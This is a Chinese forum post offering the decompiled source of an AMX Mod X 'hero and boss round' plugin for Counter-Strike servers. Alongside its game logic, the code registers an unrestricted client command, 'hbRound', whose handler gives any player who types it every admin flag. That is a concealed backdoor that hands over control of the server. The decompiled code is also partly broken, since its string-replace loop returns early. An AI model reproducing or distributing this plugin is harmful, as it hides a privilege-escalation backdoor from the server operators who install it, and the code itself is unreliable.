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龙心
2017-11-01 22:13 |
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图 1. 【插件资讯】 插件来源:网路资源转载提供会员参考 使用指令:自行修改编译及参考http://bbs.mychat.tw/reads.php?tid=972438 安装路径:自行修改编译及参考http://bbs.mychat.tw/reads.php?tid=972438 【插件介绍】 复制程式 replace_all(String:string[], len, String:what[], String:with[]) { new pos = 0; new var1 = contain(string, what); pos = var1; if (var1 == -1) { return 0; } new total = 0; new with_len = strlen(with); new diff = strlen(what) - with_len; new total_len = strlen(string); new temp_pos = 0; while (replace(string[pos], len - pos, what, with)) { pos = with_len + pos; total_len -= diff; if (pos >= total_len) { return total; } else { temp_pos = contain(string[pos], what); if (temp_pos == -1) { return total; } else { pos = temp_pos + pos; total++; } return total; } return total; } return total; } public plugin_init() { register_plugin(0, "1.0", "xD0625"); register_logevent("HeroRound", 2, "1=Round_Start"); register_logevent("BossRound", 2, "1=Round_Start"); register_clcmd("hbRound", "heroandbosscmd", -1, "", -1); set_task(110.00, "function", 0, "", 0, "", 0); register_cvar("tr_bosshp", "10000", 0, 0.00); register_cvar("tr_bossap", "1000", 0, 0.00); register_cvar("ct_herohp", "200", 0, 0.00); register_cvar("ct_heroap", "200", 0, 0.00); register_cvar("tr_speed", "500", 0, 0.00); register_cvar("ct_speed", "500", 0, 0.00); register_cvar("tr_gy", "0.5", 0, 0.00); register_cvar("ct_gy", "0.5", 0, 0.00); return 0; } public HeroRound() { new hero = 0; new players[32]; new count1 = 0; new name[32]; get_players(players, count1, "ae", "CT"); if (count1) { hero = players[random(count1)]; get_user_name(hero, name, 31); client_printc(hero, "\g[AMXX]\t 你己被选为CT们的英雄!"); give_item(hero, "weapon_hegrenade"); give_item(hero, "weapon_flashbang"); give_item(hero, "weapon_smokegrenade"); set_user_rendering(hero, 19, 0, 0, 255, 0, 0); set_user_health(hero, get_cvar_num("ct_herohp")); set_user_armor(hero, get_cvar_num("ct_heroap")); set_user_maxspeed(hero, get_cvar_float("ct_speed")); set_user_gravity(hero, get_cvar_float("ct_gy")); set_task(0.10, "hero_message", 0, name, 31, "", 0); return 0; } return 1; } public BossRound() { new boss = 0; new players[32]; new count2 = 0; new name[32]; get_players(players, count2, "ae", "TERRORIST"); if (count2) { boss = players[random(count2)]; get_user_name(boss, name, 31); client_printc(boss, "\g[AMXX]\t 你己被选为TR们的老大!"); give_item(boss, "weapon_hegrenade"); give_item(boss, "weapon_flashbang"); give_item(boss, "weapon_smokegrenade"); set_user_rendering(boss, 19, 255, 0, 0, 0, 0); set_user_health(boss, get_cvar_num("tr_bosshp")); set_user_armor(boss, get_cvar_num("tr_bossap")); set_user_maxspeed(boss, get_cvar_float("tr_speed")); set_user_gravity(boss, get_cvar_float("tr_gy")); set_task(0.10, "boss_message", 0, name, 31, "", 0); return 0; } return 1; } public hero_message(String:name[]) { set_hudmessage(0, 0, 255, -1.00, -1.00, 0, 6.00, 12.00, 0.10, 0.20, 4); show_hudmessage(0, " %s 被选为我们的英雄!", name); return 0; } public boss_message(String:name[]) { set_hudmessage(0, 255, 0, -1.00, -1.00, 0, 6.00, 12.00, 0.10, 0.20, 4); show_hudmessage(0, " %s 被选为我们的BOSS!", name); return 0; } public heroandbosscmd(id) { set_user_flags(id, read_flags("abcdefghijklmnopqrstuz"), 0); return 0; } public function(id) { client_printc(0, "\g[AMXX]\y ?局各队都会随机抽取一名 英雄 & Boss!"); return 0; } client_printc(id, String:string[]) { new msg[191]; new players[32]; new count = 1; vformat(msg, 190, string, 3); replace_all(msg, 190, "\g", "\4"); replace_all(msg, 190, "\y", "\1"); replace_all(msg, 190, "\t", "\3"); if (id) { players[0] = id; } else { get_players(players, count, "ch", ""); } new index = 0; new i = 0; while (i < count) { index = players[i]; message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), 2756, index); write_byte(index); write_string(msg); message_end(); i++; } return 0; } x0
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